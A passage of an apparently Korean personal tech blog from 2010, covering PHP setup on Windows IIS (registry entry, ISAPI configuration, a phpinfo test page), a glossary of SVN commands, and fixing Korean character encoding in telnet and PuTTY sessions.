;extension=php_yaz.dll
extension=php_zip.dll

위와 같이 on 인 확장모듈은 굳이 on을 하지 않아도 된다. 그러나 on을 해도 대부분 오류가 없다. 다 off 해도 좋은나, 예로 mssql을 이용한다면 php_mssql.dll 은 on을 해야 한다.

2.5 php dll 파일 경로설정.

다음 2가지 방법중 1가지를 하면 된다. 대부분 첫번째 a 방법을 선택한다.

a. C:\PHP의 php-dll 이 아닌 모든 dll 파일을 System32에 복사한다. 또는,

b. Windows PATH 경로에서 "C:\PHP" 를 추가해 준다.
이 방법은 추후 업그레이드나 삭제를 훨씬 쉽게 한다. System32에 복사해서 여기저기 퍼져 있으면 추후 업그레이드나 삭제시 잊어버리게 된다.

2.6 레지스트리에 PHP 설치경로 추가. 

이 설정은 php의 환경설정을 지정된 경로에서 찾게 한다. 굳이 php.ini를 Windows 디렉토리에 복사해 넣을 필요가 없다.

HKEY_LOCAL_MACHINE\SOFTWARE\PHP\IniFilePath = C:\PHP

다음을 텍스트파일에 .reg 확장자로 저장후 실행하면 쉽게 적용된다.

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\PHP]
"IniFilePath"="C:\\PHP"

3. IIS에 PHP 설정하기

3.1 IIS의 웹서비스 확장에 추가한다.

확장 이름에는 "PHP ISAPI Extension" 를 추가하고 확장모듈 dll을 PHP 설치디렉토리의 php5isapi.dll 파일을 지정한다. 그런다음에 허용설정을 해준다.

php를 실행하는 방법은 지금과 같이 ISAPI 모듈을 이용하는 것과 php-cgi.exe 를 이용하는 방법이 있다. 되도록이면, ISAPI 모듈을 이용하는 것이 좋다.

*php를 적용하는 방법에는 2가지가 있다. 웹 루트에 적용하는 것과 특정 웹사이트에 적용하는 방법이 있으니 적용코자 하는 경우에 따라 선택하면 된다.

3.2 .php 확장자를 추가해 준다.

역시 .php 확장에 대한 실행경로는 php5isapi.dll 을 지정해 주며, 동사에는 GET, POST, HEAD 만 허용해 준다. 굳이 많이 허용을 해줘봤자 보안에 구멍만 만들어 줄 뿐이다.

3.3 IIS를 재시작 한다. 만약 Window PATH 에 적용했다면 리붓팅을 해준다.

4. 웹페이지 테스트

<html>
 <head>
  <title>PHP Test</title>
 </head>
 <body>
  <!-- testing sessions -->
  <?php session_start(); ?>
 
  <!-- testing browscap.ini -->
  <?php
   echo $_SERVER['HTTP_USER_AGENT'] . "<br/><br/>";
   $browser = get_browser(null, true);
   print_r($browser);
   echo "<br/><br/>";
  ?>
 
  <!-- a general PHP test -->
  <?php phpinfo(); ?>
 </body>
</html>

test.php 파일에 다음과 같은 코드로 php 실행 여부 및 환경설정값을 확인할 수 있다.

5. 트러블슈팅 

5.1 작동하지 않는다면,..

해당 웹사이트의 ISAPI 필터에 필터이름 "PHP" 에 실행파일을 php5isapi.dll 을 지정해 줘 본다. 물론 등록후에는 IIS를 재시작 해야 만이 필터가 로드된다.

ISAPI 필터에 등록되면, 웹서버의 성능상 그리 권장사항은 아니다. 필터가 많을수록 웹요청에 대한 필터 처리를 통과해야 하기 때문이다.

5.2 browscap.ini 에서 오류 발생시...,

php.ini에서 browscap의 실제 경로를 다시 확인하여 지정해줘 본다.

5.3 401 권한오류 또는 403 퍼미션 거부 오류.

이 부분은 ISAPI 모듈이 아니라, CGI(php-cgi.exe)를 이용한 경우가 그렇다. cgi를 이용한다면 해당 웹사이트를 실행하는 어플리케이션 풀의 실행 계정이 PHP 설치경로 권한이 있는지 확인해 본다.

5.4 세션이 저장되지 않는다.,,,

세션은 앞서 지정했던 php.ini 파일에 지정한 경로에 인터넷게스트계정(IUSR_) 이 쓰기권한 정도의 권한을 지정해 준다.
2010/11/06 06:00 2010/11/06 06:00
SVN 용어

용어 설명
저장소 : 리포지토리(Repository)라고도 하며 모든 프로젝트의 프로그램 소스들은 이 저장소 안에 저장이 됩니다. 그리고 소스뿐만이 아니라 소스의 변경 사항도 모두 저장됩니다. 네트워크를 통해서 여러 사람이 접근 할 수 있습니다. 버전 관리 시스템 마다 각각 다른 파일 시스템을 가지고 있으며 Subversion은 Berkeley DB를 사용합니다. 한 프로젝트 마다 하나의 저장소가 필요합니다.

리비전(Revision) : 소스 파일등을 수정하여 커밋하게 되면 일정한 규칙에 의해 숫자가 증가 합니다. 저장소에 저장된 각각의 파일 버전이라 할 수 있습니다. Subversion의 경우 파일별로 리비전이 매겨지지 않고 한번 커밋 한 것으로 전체 리비전이 매겨 집니다. 리비전을 보고 프로젝트 진행 상황을 알 수 있습니다.

trunk : 단어 자체의 뜻은 본체 부분, 나무줄기, 몸통 등 입니다. 프로젝트에서 가장 중심이 되는 디렉토리입니다. 모든 프로그램 개발 작업은 trunk 디렉토리에서 이루어집니다. 그래서 위의 구조에서 trunk 디렉토리 아래에는 바로 소스들의 파일과 디렉토리가 들어가게 됩니다.

branches : 나무줄기(trunk)에서 뻗어져 나온 나무 가지를 뜻합니다. trunk 디렉토리에서 프로그램을 개발하다 보면 큰 프로젝트에서 또 다른 작은 분류로 빼서 따로 개발해야 할 경우가 생깁니다. 프로젝트안의 작은 프로젝트라고 생각하면 됩니다. branches 디렉토리 안에 또 다른 디렉토리를 두어 그 안에서 개발하게 됩니다.

tags : tag는 꼬리표라는 뜻을 가지고 있습니다. 이 디렉토리는 프로그램을 개발하면서 정기적으로 릴리즈를 할 때 0.1, 0.2, 1.0 하는 식으로 버전을 붙여 발표하게 되는데 그때그때 발표한 소스를 따로 저장하는 공간입니다. 위에서 보면 tags 디렉토리 아래에는 버전명으로 디렉토리가 만들어져 있습니다.

명령어 의미
Import : svn import sampledir svn+ssh://svn-domain/svn/sample/trunk
맨 처음 프로젝트 시작할때 저장소에 등록하는 명령어 한 번 하고 나면 쓸일이 잘 없을 듯.

Checkout : svn checkout svn+ssh://svn-domain/svn/sample/trunk sample
저장소에서 소스를 받아 오는 명령어. 받아온 소스에는 소스 뿐만이 아니라 버젼관리를 위한 파일도 같이 받아 온다. 지우거나 변경시 저장소와 연결 불가능

Export : svn export svn+ssh://svn-domain/svn/sample2/trunk sample
체크아웃과는 달리 버젼관리 파일을 뺀 순수한 소스만 가져오는 명령어 마지막에 사용.

Commit : svn commit
체크아웃 한 소스를 수정, 파일 추가, 삭제 등을 한 뒤 저장소에 저장하여 갱신 하는 명령어. Revision이 1 증가 한다.

Update : svn update
체크아웃 해서 받은 소스를 최신의 소스로 업데이트 하는 명령어. 소스 수정이나 Commit 하기전에 한 번씩 해줘야 할 듯. 잘 못하면 소스 망치는 경우가 있을 듯.

Log : svn log
저장소에 어떠한 것들이 변경 되었는지 확인 할 수 있는 log 명령어

Diff : svn diff --revision 4 sample.c
diff 명령은 예전 소스 파일과 지금의 소스 파일을 비교해 보는 명령어

Blame : svn blame sample.c
Blame은 한 소스파일을 대상으로 각 리비전 대해서 어떤 행을 누가 수정했는지 알아보기 위한 명령어

lock : svn lock hello.c
파일에 락을 걸어 락을 건 사용자만이 수정할 수 있게 해주는 명령어. 해제는 svn unlock.
왜 파일에 락을 걸었는지 로그를 기록 할 수 있다.

Add : svn add hello.c
새 파일을 만들었을 경우에 파일을 추가 해주는 명령어. 그 뒤엔 꼭 svn commit를 꼭 해줘야 한다.
새 파일을 생성해서 올릴 때에도 꼭 add를 해줘야 함. 안해주면 commit을 해도 안 올라감.

파일 백업및 복구
dump : svnadmin dump sample > sample.dump
load : svnadmin load sample < sample.dump
새 파일을 만들었을 경우 
1. svn add filename.* 
2. svn ci filename.*

그냥 기존 소스 수정할 경우 
1. svn ci filename.* 

항상 svn update는 꼭 해주자

svn status : 자신이 수정하고 있는 파일의 상태를 알려주는 명령어
2010/11/06 01:12 2010/11/06 01:12
텔넷에서 한글깨짐. vi /etc/sysconfig/i18n
1. UTF-8 모드로 운영할때
LANG="ko_KR.UTF-8"
SUPPPORTED="ko_KR.UTF-8:ko_KR.eucKR:ko_KR:ko"
SYSFONT="lat0-sun16" <---여기서 lat0 의 0은 숫자0이다
SYSFONTACM="8859-15"
2. euc_KR 모드로 사용할때
LANG="ko_KR.eucKR"
SUPPORTED="ko_KR.eucKR:ko_KR:ko"
SYSFONT="lat0-sun16"
SYSFONTACM="8859-15"
----------------------------------------------------------------------------------------------------
Putty에서 한글 깨짐 Putty환경 설정에서 수신 문자셋을
서버가 EUC_KR 이면 CP949 로 서버가 UTF8 이면 UTF8 로 마추면 한글 입출력이 가능 하다.
 
CentOS 5 에서는
LANG="ko_KR.eucKR"
SUPPORTED="en_US.UTF-8:en:ko_KR.eucKR:ko_KR:ko"
SYSFONT="lat0-sun16"
SYSFONTACM="8859-15"
2010/11/06 00:59 2010/11/06 00:59